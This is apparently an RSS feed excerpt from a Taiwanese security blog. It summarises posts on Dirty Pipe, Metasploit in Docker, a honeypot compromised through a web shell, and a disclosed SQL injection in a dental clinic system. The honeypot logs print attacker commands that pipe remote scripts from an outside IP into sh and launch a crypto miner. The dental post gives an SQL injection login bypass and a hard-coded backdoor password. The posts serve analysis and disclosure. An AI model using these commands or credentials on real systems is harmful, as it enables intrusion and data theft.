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"&gt;&lt;/p&gt;
&lt;p&gt;理論上這個漏洞跟髒牛牛一樣，有很大的機率會搞壞 Linux Kernel，最近真的好多有趣的提權方法呢，前陣子的 pwnkit 跟這次的 Dirtypipe，看樣子大家的 Linux 真的要記得常常更新 (但 Server 更新也很可怕就是了 QQ)。&lt;/p&gt;</description></item><item><title>使用 Docker 執行 Metasploit</title><link>http://blog.stevenyu.tw/2022/03/04/%E4%BD%BF%E7%94%A8-docker-%E5%9F%B7%E8%A1%8C-metasploit/</link><pubDate>Fri, 04 Mar 2022 22:31:31 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/04/%E4%BD%BF%E7%94%A8-docker-%E5%9F%B7%E8%A1%8C-metasploit/</guid><description>&lt;p&gt;其實，我跟 Metasploit 沒有太熟，因為他太方便，太無惱了，導致 OSCP 的考試禁止使用。 我在練習 PT 時也就都直接當作這個軟體不存在 XD。 但事實上 Metasploit 真的算是一個很實用的工具，只需要無腦的設定好 payload 之後 run / exploit 下去就好了。&lt;/p&gt;
&lt;p&gt;而 Reverse Shell 的部分，我一直以來都習慣使用 Stageless 的 Shell，不過其實 Meterpreter 以及其他 Staged 的 Shell 在實務上是滿好用的。&lt;/p&gt;
&lt;p&gt;現在常見的滲透測試 OS ，例如 Kali 或是 Parrot 裡面都已經內鍵了 Metasploit 的指令，使用者不需要煩惱太多安裝的問題。通常在各種平台練習靶機時，官方都會發放一個 VPN， 攻擊者只需要把 Shell 彈回這個內網裡面的自己機器即可。&lt;/p&gt;
&lt;p&gt;不過在實務上，事情就沒有這麼簡單了，如果我們使用簡單的 Stageless 的 Reverse shell ， 當不在內網時，我們可以在雲端機器上隨便開一個 nc / ncat 來收，但 Stage 的就不同了，通常會需要使用 &lt;code&gt;msfconsole&lt;/code&gt; 的 &lt;code&gt;exploit/multi/handler&lt;/code&gt; 來接收。&lt;/p&gt;
&lt;p&gt;在 GCP 上沒有內建 Kali, Parrot OS 的機器 (&lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB"&gt;AWS 上有 Kali&lt;/a&gt;，但我比較不習慣用 AWS)，當然可以自己上傳 image 檔案上去做一些處理，不過先前我的經驗是會遇到一些雷需要克服，因此最好的方法還是直接在雲端機器裡面部屬 msf，根據官方的說法，可以透過下面指令來安裝 msf&lt;/p&gt;</description></item><item><title>我的 Honeypot 被 Muhstik 駭惹 ?!</title><link>http://blog.stevenyu.tw/2022/03/02/%E6%88%91%E7%9A%84-honeypot-%E8%A2%AB-muhstik-%E9%A7%AD%E6%83%B9/</link><pubDate>Wed, 02 Mar 2022 16:17:42 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/02/%E6%88%91%E7%9A%84-honeypot-%E8%A2%AB-muhstik-%E9%A7%AD%E6%83%B9/</guid><description>&lt;p&gt;在年假前，我部屬了幾台 WordPress 的 Honeypot 想撿看看野生的 Payload，我當時把 Docker 給跑起來之後就丟著，沒有特別去管它。&lt;/p&gt;
&lt;p&gt;年假結束後，打開我的監控軟體觀察，一看下了一跳，竟然在奇怪的地方被塞了一個 WebShell !! 是從非預期的方法進來的，太怪了ㄅ QQ&lt;/p&gt;
&lt;p&gt;接下來我對這個入侵方式做了一系列的探索，發現了一些有趣的東西。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/%E5%9C%96%E7%89%871.png"&gt;&lt;/p&gt;
&lt;h2 id="觀察入侵方式"&gt;觀察入侵方式&lt;/h2&gt;
&lt;h3 id="進入點"&gt;進入點&lt;/h3&gt;
&lt;p&gt;暫時來當藍隊觀察一下入侵方式，直接對 access log 透過 grep 觀察 webshell 的檔名&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:18 +0000] &amp;#34;GET /wp-content/themes/twentytwentyone/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 404 494 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:23 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 734 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:24 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?wie HTTP/1.1&amp;#34; 200 635 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:25 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 734 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] &amp;#34;POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 597 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] &amp;#34;GET /wp-content/themes/twentytwenty/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 404 494 &amp;#34;-&amp;#34; &amp;#34;Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+kill_dangling_irc%3B+bash+kill_dangling_irc+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1&amp;#34; 200 432 &amp;#34;-&amp;#34; &amp;#34;Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] &amp;#34;POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 526 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:57 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+xmr64%3B+.%2Fxmr64+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1&amp;#34; 200 432 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;162.55.76.218 - - [29/Jan/2022:20:45:57 +0000] &amp;#34;POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 524 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:24:59 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 734 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:00 +0000] &amp;#34;POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 597 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:00 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+kill_dangling_irc%3B+bash+kill_dangling_irc+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1&amp;#34; 200 432 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:00 +0000] &amp;#34;POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 526 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+xmr64%3B+.%2Fxmr64+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1&amp;#34; 200 432 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] &amp;#34;POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1&amp;#34; 200 524 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.1 Safari/535.1&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+pty3%3B+.%2Fpty3+%26 HTTP/1.1&amp;#34; 200 455 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.30&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=wget+-qO+-+http%3A%2F%2F34.66.229.152%2F.b%2F1sh+%7C+sh HTTP/1.1&amp;#34; 200 432 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729; .NET4.0E)&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;54.36.49.151 - - [04/Feb/2022:02:25:21 +0000] &amp;#34;GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=curl+http%3A%2F%2F34.66.229.152%2F.b%2F3sh+%7C+sh HTTP/1.1&amp;#34; 200 517 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以確定總共有兩個 IP 使用過這個 WebShell ， 分別是 &lt;code&gt;54.36.49.151&lt;/code&gt; 跟 &lt;code&gt;162.55.76.218&lt;/code&gt;。&lt;/p&gt;</description></item><item><title>用 SQL injection 撿到 40+ 台機器跟幾千人個資的小故事</title><link>http://blog.stevenyu.tw/2022/03/01/%E7%94%A8-sql-injection-%E6%92%BF%E5%88%B0-40-%E5%8F%B0%E6%A9%9F%E5%99%A8%E8%B7%9F%E5%B9%BE%E5%8D%83%E4%BA%BA%E5%80%8B%E8%B3%87%E7%9A%84%E5%B0%8F%E6%95%85%E4%BA%8B/</link><pubDate>Tue, 01 Mar 2022 15:20:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/01/%E7%94%A8-sql-injection-%E6%92%BF%E5%88%B0-40-%E5%8F%B0%E6%A9%9F%E5%99%A8%E8%B7%9F%E5%B9%BE%E5%8D%83%E4%BA%BA%E5%80%8B%E8%B3%87%E7%9A%84%E5%B0%8F%E6%95%85%E4%BA%8B/</guid><description>&lt;p&gt;HITCON 0 Day: &lt;a href="https://zeroday.hitcon.org/vulnerability/ZD-2021-00767"&gt;https://zeroday.hitcon.org/vulnerability/ZD-2021-00767&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;有點忘記起因了，有一天我在 Shodan 上面亂逛時，發現到了一批在台灣的電腦，都開啟了 8081 的 Web Port，它們的 Banner 都寫了 &amp;ldquo;樂晴牙醫管理系統&amp;rdquo;&lt;/p&gt;
&lt;p&gt;因為我有在瀏覽器安裝 &lt;a href="https://addons.mozilla.org/zh-TW/firefox/addon/dotgit/"&gt;DotGit&lt;/a&gt; ， 一點進去之後就叫了，這個網站的目錄底下存在著 &lt;code&gt;.git&lt;/code&gt; 因此可以使用 GitHack 之類的東西進行還原。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/8efcede62ba80761749c62a6bc6ca795.png"&gt;&lt;/p&gt;
&lt;p&gt;跑下去之後偷偷看了一下程式碼，一看不得了，竟然有兩個可以任意登入的方法？！&lt;/p&gt;
&lt;h2 id="漏洞-1"&gt;漏洞 1&lt;/h2&gt;
&lt;p&gt;在程式碼的主要登入邏輯中 &lt;code&gt;ajax/checkLogin_ajax.php&lt;/code&gt; 可以看到&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;$sql&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;select sfsn,sfno,sfpasswd,position,isowner,sfname from staff where sfno=&amp;#39;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;$id&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39; and sfpasswd=&amp;#39;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;$password&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39; &amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;這是一個超級超級裸的 SQL injection ，使用所謂的 SQL injection 萬用密碼就可以進行登入了 QQ。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;帳號 : &lt;code&gt;' or 1=1 --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : 任意字串&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="漏洞-2-feature"&gt;漏洞 2 (Feature?&lt;/h2&gt;
&lt;p&gt;繼續的看同一個檔案，會發現在原始碼中留了一個寫死的預設密碼&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; (&lt;span style="color:#8be9fd;font-style:italic"&gt;$id&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;!=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$password&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;!=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; (&lt;span style="color:#8be9fd;font-style:italic"&gt;$id&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;==&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;leyan&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$password&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;==&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;0429&amp;#39;&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$has&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; session_start();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$_SESSION&lt;/span&gt;[&lt;span style="color:#f1fa8c"&gt;&amp;#39;staffid&amp;#39;&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;leyan&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$_SESSION&lt;/span&gt;[&lt;span style="color:#f1fa8c"&gt;&amp;#39;staffpw&amp;#39;&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;0429&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$_SESSION&lt;/span&gt;[&lt;span style="color:#f1fa8c"&gt;&amp;#39;staffposition&amp;#39;&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;S&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$_SESSION&lt;/span&gt;[&lt;span style="color:#f1fa8c"&gt;&amp;#39;isManager&amp;#39;&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$_SESSION&lt;/span&gt;[&lt;span style="color:#f1fa8c"&gt;&amp;#39;staffname&amp;#39;&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;Leyan&amp;#39;&lt;/span&gt;;
